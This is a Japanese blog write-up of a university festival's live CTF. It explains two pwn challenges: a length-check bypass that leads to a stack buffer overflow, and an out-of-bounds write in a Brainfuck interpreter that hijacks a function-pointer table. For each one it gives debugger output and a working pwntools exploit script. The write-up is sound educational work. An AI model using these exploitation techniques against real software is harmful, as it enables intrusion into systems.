TSG LIVE! 7 ライブCTF の振り返り
この記事は、TSG Advent Calendar 2021 の 22 日目のエントリです。
前回は platypus さんの「音楽ゲーム「BMS」の新しい実力推定手法の考案」でした。クオリティが高くてビックリしました😲
はじめに
11 月 22 日(月)、駒場祭企画として TSG LIVE! 7 が開催されました。その中のライブ CTF という企画に Red チームとして参加したので、取り組んだ問題の説明や感想を書こうと思います。
9 月頃にあったイワシイラ*1さん主催の Pwn 初心者分科会に参加しており、( mikanami*2 さんと一緒に)そのつてで参戦することになりました。
分科会が終わった後は CTF をサボっててヤバかったので、1 ヶ月くらい前から pwnable.xyz や picoCTF や skbctf の問題をちょっとずつ解いて練習してました。
問題ファイルや公式 Writeup↓
github.com
PWELCOME (Pwn / 200 pt)
説明
$ checksec chall [*] '/home/vagrant/Live/pwelcome/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
win()
を呼べば、シェルが開けます。
名前の長さがここでチェックされます。
if (size + 8 > BUFSIZE) { puts("too long. sorry"); return 0; }
BUFSIZE > 0 のチェックがないので、-1 を入力することで BOF を起こせます。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '' #PORT = binf = ELF(bin_file) def attack(io, **kwargs): io.sendlineafter('>', '-1') io.sendlineafter('>', b'a' * 0x28 + p64(binf.sym.win)) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
BF Sandbox (Pwn / 400 pt)
こちらは時間内に解けなかったのですが、競技終了後に公式 Writeup(リンクは上にあるよ)や pwnyaa さんの Writeup*3 を参考にして解いたので、説明を記しておきます。
説明
$ checksec chall [*] '/home/vagrant/Live/bf/chall' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
Brainfuck のインタプリタらしい。この問題でもwin()
を呼べばおわりです。
bf では、データポインタ(カーソル)の値や、それが指す値を増減させたり、入出力したりすることができます。
この問題では、カーソルは、calloc()
で確保されたチャンクmem
の範囲内を動くと想定されています。ですが、実際にその範囲にあるかどうかのチェックはされてないので、カーソルがチャンクからはみ出してもメモリの値をいじれます。
gdb でmem
の近くを探ってみます。
// main() 内 inst_handlers = calloc(sizeof(void*), 256); mem = calloc(sizeof(char), NMEM); code = calloc(sizeof(char), NCODE); table = calloc(sizeof(int), NCODE);
gdb-peda$ x/4g 0x555555558020 0x555555558020 <mem>: 0x0000555555559ab0 0x000055555555bad0 0x555555558030 <inst_handlers>: 0x00005555555592a0 0x000055555555aac0 gdb-peda$ x/4g 0x555555558028 0x555555558028 <table>: 0x000055555555bad0 0x00005555555592a0 0x555555558038 <code>: 0x000055555555aac0 0x0000000000000000
inst_handlers
がmem
のすぐ下位にあります。これはinit_table()
で作られた関数テーブルで、interp()
で下のように使われます。
void interp() { int ip = 0; int head = 0; while (ip < len) { inst_handlers[code[ip]](&ip, &head); } }
inst_handlers
に格納されている関数のアドレスを書き換えるのが簡単&有力っぽいです(PIE ですが、オフセットからアドレスの差を計算し、その分だけ加減するので問題ありません)。
' [ ' と ' ] ' をセットにしないと parse する段階で exit してしまうことに注意。
#!/usr/bin/env python3 from pwn import * bin_file = './chall' context(os = 'linux', arch = 'amd64') #HOST = '' #PORT = binf = ELF(bin_file) def attack(io, **kwargs): mem_top = 0x555555559ab0 addr_handler = 0x5555555592a0 + ord('[') * 8 # inst_handlers['['] diff = mem_top - addr_handler exploit = '<' * diff exploit += '-' * 33 exploit += '[]' io.sendline(exploit) def main(): io = process(bin_file) #io = remote(HOST, PORT) attack(io) #gdb.attach(io, '') io.interactive() if __name__ == '__main__': main()
おわりに
とても緊張しましたが、思ってたよりゆるい雰囲気で楽しかったです。いい経験になりました。
次回の TSG LIVE ! はハイブリッド(オンライン&オフライン)でやるのかな?だとしたら楽しみですね。
明日はふぁぼんさんの「ライブコードゴルフ大会開催記」です。ライブコードゴルフでも esolang が何個か登場しており、観ていて面白かったです。
*1:今回のライブ CTF の責任者をされてた(感謝)
*2:rev 問の first blood をキメてた人(すごい)
*3:https://ptr-yudai.hatenablog.com/entry/2021/11/22/214729#pwn-BF-sandbox